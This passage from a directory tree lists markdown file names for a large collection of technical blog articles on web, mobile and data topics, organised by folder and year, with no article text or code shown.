the-importance-of-design-qa-in-digital-product-design.md │ ├── the-importance-of-why-docs.md │ ├── the-introverts-guide-to-professional-development.md │ ├── the-javascript-developers-intro-to-crypto.md │ ├── the-love-hate-relationship-between-react-router-and-react-components.md │ ├── the-many-ways-to-include-css-in-javascript-applications.md │ ├── the-mistakes-i-made-as-a-beginner-programmer.md │ ├── the-most-famous-data-visualisation-ever-and-what-we-can-learn-from-it.md │ ├── the-most-uncommon-html5-tags.md │ ├── the-open-source-conundrum-how-do-we-keep-the-lights-on.md │ ├── the-open-source-project-nginx.md │ ├── the-perfect-javascript-unit-test.md │ ├── the-problem-with-web-components.md │ ├── the-publisher-subscriber-pattern-in-javascript.md │ ├── the-react-state-museum.md │ ├── the-ripple-effect-expanding-our-icon-design-system.md │ ├── the-rise-of-the-meta-designer.md │ ├── the-role-of-mobile-technology-in-improving-financial-health.md │ ├── the-simple-guide-to-server-side-rendering-react-with-styled-components.md │ ├── the-smart-ways-to-correct-mistakes-in-git.md │ ├── the-state-of-fluid-web-typography.md │ ├── the-state-of-graphql-by-reddit.md │ ├── the-state-of-web-browsers-2019-edition.md │ ├── the-state-of-web-browsers.md │ ├── the-story-of-css-grid-from-its-creators.md │ ├── the-trick-to-animating-the-dot-on-the-letter-i.md │ ├── the-typescript-tax.md │ ├── the-zen-of-erlang-1.md │ ├── the-zen-of-erlang-2.md │ ├── things-about-react-native-i-found-the-hard-but-rewarding-way.md │ ├── things-nobody-ever-taught-me-about-css.md │ ├── this-is-how-to-plan-a-day.md │ ├── this-is-why-we-need-to-bind-event-handlers-in-class-components-in-react.md │ ├── this-keyword-call-apply-bind-javascript.md │ ├── this-one-line-of-javascript-made-ft-com-10-times-slower.md │ ├── threads-in-rust.md │ ├── three-input-element-properties-that-i-discovered-while-reading-mdn.md │ ├── time-series-analysis-in-python-an-introduction.md │ ├── time-series-analysis-visualization-forecasting-with-lstm.md │ ├── time-series-anomaly-detection-algorithms.md │ ├── time-series-of-price-anomaly-detection.md │ ├── time-series-prediction-using-recurrent-neural-networks-lstms.md │ ├── tips-to-use-VSCode-more-efficiently.md │ ├── to-grid-or-to-flex.md │ ├── to-yarn-and-back-again-npm.md │ ├── top-7-modern-programming-language-to-learn-now.md │ ├── top-javascript-frameworks-and-topics-to-learn-in-2019.md │ ├── top-react-and-redux-packages-for-faster-development.md │ ├── tracing-or-debugging-vue-js-reactivity-the-computed-tree.md │ ├── transducers-efficient-data-processing-pipelines-in-javascript.md │ ├── trick-out-your-terminal-in-10-minutes-or-less.md │ ├── trying-out-dask-dataframes-in-python-for-fast-data-analysis-in-parallel.md │ ├── tslint-in-2019.md │ ├── tuple-unpacking-improves-python-code-readability.md │ ├── tutorial-write-a-shell-in-c.md │ ├── typescript-3-0-the-unknown-type.md │ ├── typescript-impossible-states-irrepresentable.md │ ├── typescript-with-babel-a-beautiful-marriage.md │ ├── un-places-to-learn-css-layout-part-2-grid-layout.md │ ├── under-the-hood-of-reacts-hooks-system.md │ ├── underspanding-spans.md │ ├── understanding-a-performance-issue-with-polymorphic-json-data.md │ ├── understanding-androids-vector-image-format-vectordrawable.md │ ├── understanding-apache-airflows-key-concepts.md │ ├── understanding-asynchronous-javascript-the-event-loop.md │ ├── understanding-compilers-for-humans-version-2.md │ ├── understanding-database-sharding.md │ ├── understanding-execution-context-and-execution-stack-in-javascript.md │ ├── understanding-higher-order-components-in-react.md │ ├── understanding-javascript-async-and-await-with-examples.md │ ├── understanding-javascript-memory-management-using-garbage-collection.md │ ├── understanding-mixins-in-vue-js.md │ ├── understanding-operator-co-await.md │ ├── understanding-python-bytecode-pycon-2018.md │ ├── understanding-react-render-props-and-hoc.md │ ├── understanding-recursion.md │ ├── understanding-service-workers-and-caching-strategies.md │ ├── understanding-undefined-and-preventing-referenceerrors.md │ ├── understanding-webviews.md │ ├── unidirectional-user-interface-architectures.md │ ├── unit-testing-react-components.md │ ├── unpacking-hoisting.md │ ├── unsupervised-learning-with-python.md │ ├── use-web-workers-for-your-event-listeners.md │ ├── user-experience-mapping-alice-emma-walker.md │ ├── userland-api-monitoring-and-code-injection-detection.md │ ├── using-behavioural-economics-to-convey-the-value-of-paid-app-subscriptions.md │ ├── using-closest-to-return-the-correct-dom-element.md │ ├── using-errors-as-control-flow-in-swift.md │ ├── using-iphone-x-maya-quick-cheap-facial-capture.md │ ├── using-lstms-for-stock-market-predictions-tensorflow.md │ ├── using-multiple-camera-streams-simultaneously.md │ ├── using-node-js-to-read-really-really-large-files-pt-1.md │ ├── using-proxy-to-track-javascript-class.md │ ├── using-vector-assets-in-android-apps.md │ ├── using-what-if-tool-to-investigate-machine-learning-models.md │ ├── using-workers-to-make-static-sites-dynamic.md │ ├── ux-design-practices-how-to-make-web-interface-scannable.md │ ├── value-oriented-programming.md │ ├── video-streaming-with-flask.md │ ├── visualising-machine-learning-datasets-with-googles-facets.md │ ├── vue-js-considerations-and-tricks.md │ ├── vue-router-the-missing-manual.md │ ├── vuejs-3-0-0-beta-features-im-excited-about.md │ ├── vuejs-or-react-which-you-would-chose-and-why.md │ ├── vuex-perfect-interface-frontend-backend.md │ ├── warning-your-programming-career.md │ ├── watchos-5-wish-list.md │ ├── web-architecture-101.md │ ├── web-components-in-2018.md │ ├── web-scraping-with-puppeteer-in-node-js.md │ ├── webapks-on-android.md │ ├── webassembly-why-and-how-to-use-it.md │ ├── websockets-vs-long-polling.md │ ├── were-nearing-the-7-0-babel-release-here-s-all-the-cool-stuff-we-ve-been-doing.md │ ├── what-5-years-of-a-relationships-messages-look-like.md │ ├── what-are-javascript-generators-and-how-to-use-them.md │ ├── what-do-flutter-package-users-need-findings-from-q2-user-survey.md │ ├── what-even-are-flutter-widgets.md │ ├── what-hooks-mean-for-vue.md │ ├── what-i-wish-i-knew-when-i-started-to-work-with-react-js.md │ ├── what-is-a-python-core-developer-pycon-2018.md │ ├── what-is-accessibility-and-why-is-it-crucial-for-your-users-experience.md │ ├── what-is-google-tag-manager-and-why-use-it.md │ ├── what-is-modular-css.md │ ├── what-is-progressive-enhancement-and-why-it-matters.md │ ├── what-is-this-the-inner-workings-of-javascript-objects.md │ ├── what-it-was-like-to-write-a-full-blown-flutter-app.md │ ├── what-on-earth-is-the-shadow-dom-and-why-it-matters.md │ ├── what-replaces-javascript.md │ ├── what-tools-do-you-need-to-do-devops.md │ ├── what-we-learned-migrating-off-cron-to-airflow.md │ ├── what-we-ve-learned-about-hiring-engineering-managers.md │ ├── whats-coming-up-in-javascript-2018-async-generators-better-regex.md │ ├── whats-going-on-in-that-front-end-head.md │ ├── whats-new-in-php-7-4-top-10-features-that-you-need-to-know.md │ ├── whats-new-in-swift-5-0.md │ ├── whats-next-for-mobile-at-airbnb.md │ ├── whats-the-difference-between-dogs-html-and-dogs-html.md │ ├── when-a-rewrite-isnt-rebuilding-slack-on-the-desktop.md │ ├── when-every-product-of-design-is-one-of-opinion.md │ ├── when-to-standardize-your-data.md │ ├── when-workers.md │ ├── which-deep-learning-framework-is-growing-fastest.md │ ├── why-ai-is-here-to-stay.md │ ├── why-coding-your-own-makes-you-a-better-developer.md │ ├── why-designers-hate-politics-and-what-to-do-about-it.md │ ├── why-every-android-developer-should-try-out-flutter.md │ ├── why-flutter-will-change-mobile-development-for-the-best.md │ ├── why-i-write-css-in-javascript.md │ ├── why-is-front-end-development-so-unstable.md │ ├── why-is-object-immutability-important.md │ ├── why-isnt-x-a-hook.md │ ├── why-machine-learning-matters.md │ ├── why-math-max-is-less-than-math-min-in-javascript.md │ ├── why-one-hot-encode-data-in-machine-learning.md │ ├── why-robinhood-uses-airflow.md │ ├── why-should-you-learn-go.md │ ├── why-svelte-wont-kill-react.md │ ├── why-ux-and-ui-should-remain-separate.md │ ├── why-we-need-web-3-0.md │ ├── why-were-bullish-on-crypto-collectibles-nfts.md │ ├── why-were-switching-to-grpc.md │ ├── why-you-should-give-flutter-some-of-your-attention.md │ ├── why-you-should-leave-react-for-vue-and-never-use-it-again.md │ ├── why-you-should-replace-foreach.md │ ├── why-you-should-totally-switch-to-kotlin.md │ ├── why-your-app-should-be-optimized-for-screen-of-all-sizes.md │ ├── widget-state-context-inheritedwidget.md │ ├── will-node-js-forever-be-the-sluggish-golang.md │ ├── windows-insets-fragment-transitions.md │ ├── wireframes-are-becoming-less-relevant-and-thats-a-good-thing.md │ ├── workmanager-basics.md │ ├── write-once-run-everywhere-tests-on-android.md │ ├── writing-a-compiler-in-rust.md │ ├── writing-a-dumb-icon-flutter-package.md │ ├── writing-a-killer-software-engineering-resume.md │ ├── writing-a-microservice-in-rust.md │ ├── writing-a-web-server-node.md │ ├── writing-cleaner-view-code-by-overriding-loadview.md │ ├── writing-network-layer-in-swift-protocol-oriented-approach.md │ ├── wwdc-2018-rumors-ios-12-new-macbook-air-ipad-pro-homepod.md │ ├── xcode-and-lldb-advanced-debugging-tutorial-part-1.md │ ├── xcode-and-lldb-advanced-debugging-tutorial-part-2.md │ ├── xcode-and-lldb-advanced-debugging-tutorial-part-3.md │ ├── xgboost-algorithm-long-may-she-reign.md │ ├── yarn-vs-npm-everything-you-need-to-know.md │ ├── you-should-never-ever-run-directly-against-node-js-in-production-maybe.md │ ├── your-first-cli-tool-with-rust.md │ ├── zero-to-one-with-flutter-part-two.md │ └── zero-to-one-with-flutter.md ├── a-new-post-template.md ├── algorithm.md ├── android.md ├── article/ │ ├── 2020/ │ │ ├── 10-awesome-chrome-flags-you-should-enable-right-now.md │ │ ├── 10-best-practices-for-improving-your-css.md │ │ ├── 10-tips-shortcuts-you-should-be-using-right-now-on-xcode.md │ │ ├── 14-javascript-code-optimization-tips-for-front-end-developers.md │ │ ├── 15-vscode-extensions-every-web-developer-must-have-in-2021.md │ │ ├── 3-essential-questions-about-hashable-in-python.md │ │ ├── 4-options-for-using-mongodb-with-business-intelligence.md │ │ ├── 4-useful-javascript-design-patterns-you-should-know.md │ │ ├── 4-ways-to-communicate-across-browser-tabs-in-realtime.md │ │ ├── 5-chrome-extensions-for-developers-productivity.md │ │ ├── 5-lesser-known-features-of-chrome-devtools.md │ │ ├── 5-reasons-to-choose-pwa-for-your-web-and-mobile-apps.md │ │ ├── 5-reasons-why-you-should-use-svelte-for-front-end-development-in-2021.md │ │ ├── 5-string-manipulation-libraries-for-javascript.md │ │ ├── 5-tips-for-better-typescript-code.md │ │ ├── 5-types-of-arguments-in-python-function-definition.md │ │ ├── 5-useful-things-the-spread-operator-can-do-in-javascript.md │ │ ├── 6-months-of-using-graphql.md │ │ ├── 6-things-to-know-to-get-started-with-python-data-classes.md │ │ ├── 6-ways-to-speed-up-your-vue-js-application.md │ │ ├── 7-helpful-time-complexities.md │ │ ├── 7-modules-you-can-use-right-now-to-build-your-first-deno-web-app.md │ │ ├── 8-scss-best-practices-to-keep-in-mind.md │ │ ├── 8-unheard-of-browser-apis-you-should-be-aware-of.md │ │ ├── Damn-Cool-Algorithms-Log-structured-storage.md │ │ ├── Stale-props-and-zombie-children-in-Redux.md │ │ ├── a-complete-introduction-to-webassembly-and-its-javascript-api.md │ │ ├── a-comprehensive-guide-to-slices-in-golang.md │ │ ├── a-high-level-overview-of-load-balancing-algorithms.md │ │ ├── abstract-data-types-and-the-software-crisis.md │ │ ├── adaptive-video-with-css-math.md │ │ ├── applications-of-some-of-the-famous-algorithms.md │ │ ├── aspect-oriented-programming-in-javascript.md │ │ ├── auto-documenting-a-python-project-using-sphinx.md │ │ ├── avoiding-memory-leaks-in-nodejs-best-practices-for-performance.md │ │ ├── best-features-of-es2017-async-functions-and-arrays-and-shared-buffers.md │ │ ├── best-static-site-generators-for-vue-js.md │ │ ├── better-composition-in-vue.md │ │ ├── big-data-lambda-architecture-in-a-nutshell.md │ │ ├── build-a-graphql-server-with-spring-boot-and-mysql.md │ │ ├── build-a-server-driven-ui-using-ui-components-in-swiftui.md │ │ ├── building-a-design-system-and-a-component-library.md │ │ ├── building-and-monitoring-your-first-github-actions-workflow.md │ │ ├── building-crud-apis-using-deno-and-oak.md │ │ ├── clamp-for-responsive-design.md │ │ ├── code-coverage-vue-cypress.md │ │ ├── color-scales-in-javascript-with-chroma-js.md │ │ ├── comparing-api-architectural-styles-soap-vs-rest-vs-graphql-vs-rpc.md │ │ ├── create-a-private-postgresql-database-for-your-development-environment-in-seconds.md │ │ ├── create-your-own-camscanner-using-python-opencv.md │ │ ├── creating-a-menu-image-animation-on-hover.md │ │ ├── css-fix-for-100vh-in-mobile-webkit.md │ │ ├── dark-theme-a-modern-ui-design.md │ │ ├── deepspeed-extreme-scale-model-training-for-everyone.md │ │ ├── demoforbeginner-what-is-wsgi.md │ │ ├── demystifying-the-0-1-knapsack-problem.md │ │ ├── design-patterns-structural-patterns-of-design-classes-and-objects.md │ │ ├── detect-faces-texts-and-even-barcodes-with-chromes-shape-detection-api.md │ │ ├── diverse-mini-batch-active-learning-a-reproduction-exercise.md │ │ ├── easy-dark-mode-switch-with-react-and-localstorage-3k6d.md │ │ ├── enhance-javascript-security-with-content-security-policies.md │ │ ├── es2020-optional-chaining-and-dynamic-imports-are-game-changers-heres-why.md │ │ ├── example-of-a-machine-learning-algorithm-to-predict-spam-emails-in-python.md │ │ ├── exciting-features-of-javascript-es2021-es12.md │ │ ├── exploring-constraintlayout-2-0-in-android.md │ │ ├── flutter-may-or-may-not-be-the-next-big-thing-but-kotlin-multiplatform-is-here-to-stay.md │ │ ├── from-monolith-to-microservices-in-5-minutes.md │ │ ├── from-scratch-to-the-first-10-customers-how-i-designed-and-launched-a-saas-product.md │ │ ├── function-in-javascript-has-much-more-secrets-than-you-think.md │ │ ├── functional-programming-explained-in-python-javascript-and-java.md │ │ ├── fundamentals-of-caching-web-applications.md │ │ ├── garbage-collection-in-python.md │ │ ├── generators-in-javascript-when-should-i-use-yield-and-yield.md │ │ ├── github-package-registry-is-it-worth-trying-out.md │ │ ├── greedy-algorithms-101.md │ │ ├── handling-location-permissions-in-ios-14.md │ │ ├── hiding-data-in-an-image-image-steganography-using-python.md │ │ ├── how-and-why-you-should-avoid-cors-in-single-page-apps.md │ │ ├── how-i-increased-our-web-performance-by-422.md │ │ ├── how-i-learned-sass-in-20-hours-and-why-you-should-too.md │ │ ├── how-powerful-are-graph-convolutions-review-of-kipf-welling.md │ │ ├── how-to-avoid-wifi-throttling-on-android-devices.md │ │ ├── how-to-become-a-google-developer-expert-gde-a-practical-guide.md │ │ ├── how-to-build-a-recommendation-system-in-a-graph-database-using-a-latent-factor-model.md │ │ ├── how-to-build-redux.md │ │ ├── how-to-create-a-reusable-web-scraper.md │ │ ├── how-to-create-charts-from-external-data-sources-with-d3-js.md │ │ ├── how-to-generate-random-text-captchas-using-python.md │ │ ├── how-to-handle-comparison-corner-cases.md │ │ ├── how-to-hide-secrets-in-strings-modern-text-hiding-in-javascript.md │ │ ├── how-to-simulate-a-udp-flood-dos-attack-on-your-computer.md │ │ ├── how-to-use-cookies-for-persisting-users-in-nextjs.md │ │ ├── how-to-useref-to-fix-react-performance-issues.md │ │ ├── how-to-write-clean-code-lessons-learnt-from-the-clean-code-robert-c-martin.md │ │ ├── how-to-write-log-files-that-save-you-hours-of-time.md │ │ ├── hunting-for-the-optimal-automl-library.md │ │ ├── i-built-the-same-api-with-without-express-here-are-the-differences.md │ │ ├── identify-well-connected-users-in-a-network.md │ │ ├── implementing-heaps-in-javascript.md │ │ ├── implementing-monte-carlo-tree-search-in-node-js.md │ │ ├── improve-mongodb-performance-using-projection.md │ │ ├── improve-page-rendering-speed-using-only-css.md │ │ ├── improving-massively-imbalanced-datasets-in-machine-learning-with-synthetic-data.md │ │ ├── incremental-vs-virtual-dom.md │ │ ├── inheritance-vs-composition-which-is-better-for-your-javascript-project.md │ │ ├── interactive-webgl-hover-effects.md │ │ ├── introduction-to-blitz-js.md │ │ ├── is-deno-a-threat-to-node.md │ │ ├── is-deno-already-dead.md │ │ ├── is-virtual-dom-derived-from-document-fragments.md │ │ ├── javascript-decorators-from-scratch.md │ │ ├── javascript-engines-an-overview.md │ │ ├── javascript-proxies.md │ │ ├── javascript-tips-child-constructors-text-selection-inline-workers-and-more.md │ │ ├── latest-features-javascript-ecmascript-2020.md │ │ ├── learn-about-swiftui-text-and-label-in-ios-14.md │ │ ├── loving-graphql-more-than-rest.md │ │ ├── lsm.md │ │ ├── making-neural-networks-smaller-for-better-deployment.md │ │ ├── master-python-lambda-functions-with-these-4-donts.md │ │ ├── mastering-javascript-es6-symbols.md │ │ ├── microservices-the-right-solution-for-you.md │ │ ├── monolith-vs-micro-frontend.md │ │ ├── mood-talk-tell-how-you-feel-to-others-who-face-the-same-challenges.md │ │ ├── mvc-vs-mvp-vs-mvvm.md │ │ ├── mvvm-in-swift-infinite-scrolling-and-image-loading.md │ │ ├── my-experiences-with-api-gateways.md │ │ ├── my-favorite-javascript-tips-and-tricks.md │ │ ├── my-react-components-render-twice-and-drive-me-crazy.md │ │ ├── my-website-now-loads-in-less-than-2-sec-here-s-how-i-did-it-hoj.md │ │ ├── natural-language-processing-in-the-browser.md │ │ ├── nextjs-vs-nuxtjs-vs-gatsbyjs.md │ │ ├── object-freeze-vs-object-seal-immutability.md │ │ ├── on-let-vs-const.md │ │ ├── one-of-the-first-things-to-understand-in-javascript-immutability.md │ │ ├── operator-overloading-in-python.md │ │ ├── optimization-in-python-interning.md │ │ ├── packaging-a-ui-library-for-distribution.md │ │ ├── page-lifecycle-api-a-browser-api-every-frontend-developer-should-know.md │ │ ├── pagetabviewstyle-in-swiftui.md │ │ ├── performance-analysis-tools-for-front-end-development.md │ │ ├── performance-metrics-for-front-end-applications.md │ │ ├── python-smart-coding-with-locals-and-global.md │ │ ├── react-native-vs-flutter-vs-ionic.md │ │ ├── react-vs-sveltejs-the-war-between-virtual-and-real-dom.md │ │ ├── responsive-font-size-using-vanilla-css.md │ │ ├── rethinking-the-front-end-micro-frontend.md │ │ ├── rust-wasm-yew-single-page-application.md │ │ ├── safe-recursion-with-trampoline-in-javascript.md │ │ ├── safe-unsafe-alignment-in-css-flexbox.md │ │ ├── sandboxed-iframes.md │ │ ├── schema-org-the-popular-web-standard-youve-never-heard-of.md │ │ ├── security-best-practices-for-nodejs.md │ │ ├── solving-word-hunt-in-python-the-trie.md │ │ ├── some-arbitrary-number-of-lesser-known-graphql-features.md │ │ ├── swiftui-cheat-sheet.md │ │ ├── swiftui-dark-mode-the-easiest-way.md │ │ ├── the-10-best-and-most-liked-flutter-packages.md │ │ ├── the-anatomy-of-a-machine-learning-system-design-interview-question.md │ │ ├── the-beginners-guide-to-elasticsearch.md │ │ ├── the-dos-and-don-ts-of-python-list-comprehension.md │ │ ├── the-law-of-demeter.md │ │ ├── the-limits-of-knowledge.md │ │ ├── the-world-needs-web-accessibility-now-more-than-ever.md │ │ ├── top-image-lazy-loading-libraries-for-javascript.md │ │ ├── tutorial-on-python-logging.md │ │ ├── typescript-4-0-i-want-a-list-of-generic-params-with-good-labels.md │ │ ├── typescript-the-value-of-a-good-generic.md │ │ ├── typescripts-never-type.md │ │ ├── ui-cheat-sheet-pagination-infinite-scroll-and-the-load-more-button.md │ │ ├── uikit-or-swiftui-which-should-you-use-in-production.md │ │ ├── understand-the-deflate-compression-behind-the-zip-and-gzip-formats.md │ │ ├── understanding-modules-and-import-and-export-statements-in-javascript.md │ │ ├── understanding-react-portals.md │ │ ├── understanding-the-web-history-api-in-javascript.md │ │ ├── understanding-why-a-database-deadlock-occurs.md │ │ ├── unexpected-app-crashes-on-android-and-how-to-deal-with-them.md │ │ ├── use-the-latest-javascript-features-in-any-browser.md │ │ ├── user-defaults-in-swift.md │ │ ├── user-tracking-with-css-only.md │ │ ├── using-hashed-vs-nonhashed-url-paths-in-single-page-apps.md │ │ ├── using-json-stringify-to-work-with-javascript-object.md │ │ ├── using-service-workers-with-react.md │ │ ├── ux-case-study-koinstreet-homepage-redesign.md │ │ ├── vue-plugins-you-dont-know-you-may-need.md │ │ ├── web-locks-api-cross-tab-resource-synchronization.md │ │ ├── what-does-serverless-actually-mean.md │ │ ├── what-makes-a-good-github-profile.md │ │ ├── what-to-expect-in-python-3-9.md │ │ ├── whats-new-in-swift-5-3.md │ │ ├── which-should-you-use-asynchronous-programming-or-multi-threading.md │ │ ├── why-color-is-key-for-data-visualization-and-how-to-use-it.md │ │ ├── why-deno-is-perfectly-ready-to-take-over-node-js-now.md │ │ ├── why-is-my-data-drifting.md │ │ ├── why-you-should-make-your-code-as-simple-as-possible.md │ │ ├── widgets-on-ios.md │ │ ├── will-ubuntu-20-04-steal-more-windows-users.md │ │ ├── will-webtransport-replace-webrtc-in-near-future.md │ │ ├── working-with-emoji-in-swift.md │ │ ├── write-cleaner-code-by-using-javascript-destructuring.md │ │ └── writing-tetris-in-python.md │ ├── 2021/ │ │ ├── 10-awesome-things-you-can-do-with-github-dev.md │ │ ├── 10-years-of-open-source-visualization.md │ │ ├── 100-tips-on-software-developer-productivity.md │ │ ├── 11-easy-ui-design-tips-for-web-devs-j3j.md │ │ ├── 11-rare-javascript-one-liners-that-will-amaze-you.md │ │ ├── 16px-or-larger-text-prevents-ios-form-zoom.md │ │ ├── 1993-cgi-scripts-and-early-server-side-web-programming.md │ │ ├── 20-go-packages-you-can-use-in-your-next-project.md │ │ ├── 2021-03-15-highlights-from-git-2-31.md │ │ ├── 3-fallback-techniques-to-support-css-grid-in-any-browser.md │ │ ├── 3-uncommon-bash-tricks-that-you-should-know.md │ │ ├── 34-javascript-optimization-techniques-to-know-in-2021.md │ │ ├── 4-security-concerns-with-iframes-every-web-developer-should-know.md │ │ ├── 4-ways-to-reduce-cors-preflight-time-in-web-apps.md │ │ ├── 5-Reasons-to-Switch-from-React-to-Next-js.md │ │ ├── 5-advanced-typescript-tips-to-make-you-a-better-programmer.md │ │ ├── 5-css-practices-to-avoid-as-a-web-developer.md │ │ ├── 5-kotlin-extensions-to-make-your-android-code-more-expressive.md │ │ ├── 5-misconceptions-about-design-systems.md │ │ ├── 5-reasons-why-Deno-will-stop-using-TypeScript- StartFunction.md │ │ ├── 5-reasons-why-flutter-is-better-than-react-native.md │ │ ├── 5-strategies-to-reduce-frontend-build-time-with-ci-cd.md │ │ ├── 5-string-manipulation-libraries-for-javascript.md │ │ ├── 6-alternatives-to-classes-in-python.md │ │ ├── 6-amazing-free-tools-that-will-save-you-some-time-when-u-are-building-websites-especially-for-non-designer-developers.md │ │ ├── 6-css-properties-nobody-is-talking-about.md │ │ ├── 6-regrets-i-have-as-a-react-developer.md │ │ ├── 7-JavaScript-Fundamentals-Every-Web-Developer-Should-Know.md │ │ ├── 9-distance-measures-in-data-science.md │ │ ├── About-Async-Iterators-in-Node.js.md │ │ ├── Algorithms-in-JavaScript-with-visual-examples.md │ │ ├── Angular-vs-React-vs-Vue-Which-Framework-is-Best-in-2021.md │ │ ├── Announcing-Dart-2-12.md │ │ ├── Building-an-SQL-Database-Audit-System-Using-Kafka,-MongoDB-and-Maxwell's-Daemon.md │ │ ├── Case-Study-Building-a-Mobile-Game-with-Dart-and-Flutter.md │ │ ├── Common-Anti-Patterns-in-Go.md │ │ ├── Decoding-Django-Sessions-in-PostgreSQL.md │ │ ├── Deno-1-8-Release-Notes.md │ │ ├── Go-developer-survey-2020-results.md │ │ ├── Interview-with-Ryan-Dahl-Creator-of-Node-js.md │ │ ├── Monitor-Spring-Boot-microservices.md │ │ ├── NumPy-1-20-Released-with-Runtime-SIMD-Support-and-Type-Annotations.md │ │ ├── Part-Of-Why-I-Think-React-Is-Junk.md │ │ ├── RabbitMQ-and-SpringBoot-for-Real-Time-Messaging.md │ │ ├── Rust-1.51.0.md │ │ ├── Rust-in-production-at-Figma.md │ │ ├── The-End-of-Applets.md │ │ ├── The-RedMonk-Programming-Language-Rankings-January-2021.md │ │ ├── Tutorial-Building-a-D3-js-Calendar-Heatmap.md │ │ ├── Typescript-4-2-Released-Improves-Types-and-Developer-Experience.md │ │ ├── Web-Performance-for-Product-Managers.md │ │ ├── a-beginners-guide-to-memoization-with-javascript.md │ │ ├── a-case-for-compile-to-javascript-interface-frameworks.md │ │ ├── a-complete-guide-of-node-js-buffer.md │ │ ├── a-deep-dive-into-actors-in-swift-5-5.md │ │ ├── a-deep-dive-into-javascript-modules.md │ │ ├── a-laymans-intro-to-quantum-computers.md │ │ ├── a-new-standard-for-mobile-app-security.md │ │ ├── a-review-of-javascript-testing-frameworks-in-2021.md │ │ ├── adding-a-unique-constraint-in-an-online-way.md │ │ ├── advanced-python-how-to-implement-caching-in-python-application.md │ │ ├── ai-in-content-marketing.md │ │ ├── all-you-need-to-know-about-higher-order-functions-in-javascript.md │ │ ├── an-introduction-to-jetpack-compose-for-desktop.md │ │ ├── android-new-features-spring-2021.md │ │ ├── android-startup-tip-dont-use-kotlin-coroutines.md │ │ ├── announcing-react-native-0.64-with-hermes-on-ios.md │ │ ├── announcing-the-new-typescript-handbook.md │ │ ├── apis-vs-websockets-vs-webhooks-what-to-choose.md │ │ ├── apple-announces-june-7-start-date-for-wwdc-2021.md │ │ ├── authorization-and-authentication-for-everyone.md │ │ ├── auto-generated-social-media-images.md │ │ ├── avoid-trusting-const-in-javascript.md │ │ ├── bash-if-else-statement.md │ │ ├── better-privacy-with-chromiums-privacy-sandbox.md │ │ ├── brown-green-language.md │ │ ├── build-an-article-recommendation-engine-with-ai-ml.md │ │ ├── building-a-map-of-your-python-project-using-graph-technology-visualize-your-code.md │ │ ├── building-a-reactive-architecture-around-redis.md │ │ ├── building-a-read-through-cache-using-cdn.md │ │ ├── built-in-explicit-animations-in-flutter.md │ │ ├── chrome-90-beta-av1-encoder-for-webrtc.md │ │ ├── chrome-93-multi-screen-window-placement.md │ │ ├── common-social-engineering-attack-strategies.md │ │ ├── creating-stylesheet-feature-flags-with-sass-default.md │ │ ├── creating_colorful_smart_shadows.md │ │ ├── cross-site-scripting.md │ │ ├── csrf-attacks.md │ │ ├── css-is-magic-its-time-you-try-3d.md │ │ ├── custom-state-pseudo-classes-in-chrome.md │ │ ├── deconstructing-the-iconic-apple-watch-bubble-ui.md │ │ ├── deep-dive-cors-history-how-it-works-best-practices.md │ │ ├── deepmind-NFNets-deep-learning.md │ │ ├── demystify-graph-coloring-algorithms.md │ │ ├── demystifying-java-lambda-expressions.md │ │ ├── dependency-injection-in-typescript.md │ │ ├── developer-tooling-for-kubernetes-in-2021-helm-kust.md │ │ ├── directory-traversal.md │ │ ├── distributed-tracing-matters.md │ │ ├── dont-let-carousels-kill-your-application.md │ │ ├── dont-run-benchmarks-on-a-debuggable-android-app-like-i-did.md │ │ ├── dont-show-me-your-design-portfolio.md │ │ ├── dropbox-reveals-Atlas.md │ │ ├── ensure-javascript-code-quality-with-husky-and-hooks.md │ │ ├── event-bubbling-and-capturing-in-javascript.md │ │ ├── everything-about-the-latest-ecmascript-release-ecmascript-2021.md │ │ ├── expert-hackers-used-11-zerodays-to-infect-windows-ios-and-android-users.md │ │ ├── exploring-android-12-splash-screen.md │ │ ├── ffmpeg-webassembly.md │ │ ├── flutter-animation-creating-mediums-clap-animation-in-flutter.md │ │ ├── flutter-creating-elegant-uis-with-containers.md │ │ ├── flutter-quote-app.md │ │ ├── from-rxjava-2-to-kotlin-flow-threading.md │ │ ├── gcp-healthcare-consent-api.md │ │ ├── getting-started-with-sqldelight-in-android-development.md │ │ ├── google-ai-chip-design.md │ │ ├── google-microsoft-attack-open-web-online-news-australia-laws.md │ │ ├── google-oss-fuzz-extends-fuzzing-to-java-apps.md │ │ ├── grafana-managed-observability.md │ │ ├── graph-data-structure-implementation-in-javascript.md │ │ ├── heres-a-list-of-technologies-i-wasted-my-time-learning-as-a-web-developer.md │ │ ├── heres-exactly-what-you-need-to-know-about-apple-s-app-tracking-transparency.md │ │ ├── hex-vs-rgb-vs-hsl-what-is-the-best-method-to-set-css-color-property.md │ │ ├── hookrouter-a-modern-approach-to-react-routing.md │ │ ├── how-a-cache-stampede-caused-one-of-facebooks-biggest-outages.md │ │ ├── how-an-anti-typescript-javascript-developer-like-me-became-a-typescript-fan.md │ │ ├── how-dagger-hilt-and-koin-differ-under-the-hood.md │ │ ├── how-do-you-create-an-efficient-data-structure-for-spatial-indexing.md │ │ ├── how-github-actions-renders-large-scale-logs.md │ │ ├── how-its-made-i-o-photo-booth.md │ │ ├── how-to-do-multithreading-with-node-js.md │ │ ├── how-to-implement-a-graphql-api-on-top-of-an-existing-rest-api.md │ │ ├── how-to-slow-down-a-for-loop-in-javascript.md │ │ ├── how-to-use-indexeddb-a-nosql-db-on-the-browser.md │ │ ├── http-strict-transport-security-faqs.md │ │ ├── i-cant-believe-it-s-not-better-active-learning-flavor.md │ │ ├── i-got-into-mit-refused-the-offer-and-still-became-a-highly-valued-developer.md │ │ ├── ibm-12-project-debater-api.md │ │ ├── imagining-native-skip-link.md │ │ ├── importing-json-modules-in-typescript.md │ │ ├── improving-firefox-stability-on-linux.md │ │ ├── improving-node-application-performance-with-clustering.md │ │ ├── introducing-page-shield.md │ │ ├── introduction-to-creating-interpreter-using-python.md │ │ ├── is-css-a-programming-language.md │ │ ├── is-it-the-beginning-of-the-end-for-pwas.md │ │ ├── javascript-symbols-the-most-misunderstood-feature-of-the-language.md │ │ ├── javascript-temporal-api-a-fix-for-the-date-api.md │ │ ├── javascript-typed-arrays.md │ │ ├── javascript-visualized-the-javascript-engine.md │ │ ├── jetpack-compose-styles-and-themes.md │ │ ├── json-encoding-decoding-with-python.md │ │ ├── leave-javascript-aside-mint-is-a-great-language-for-building-web-apps.md │ │ ├── library-tree-shaking.md │ │ ├── machine-learning-with-android-11-whats-new.md │ │ ├── making-javascript-run-fast-on-webassembly.md │ │ ├── memory-layout-in-swift.md │ │ ├── messengers-like-imageview.md │ │ ├── 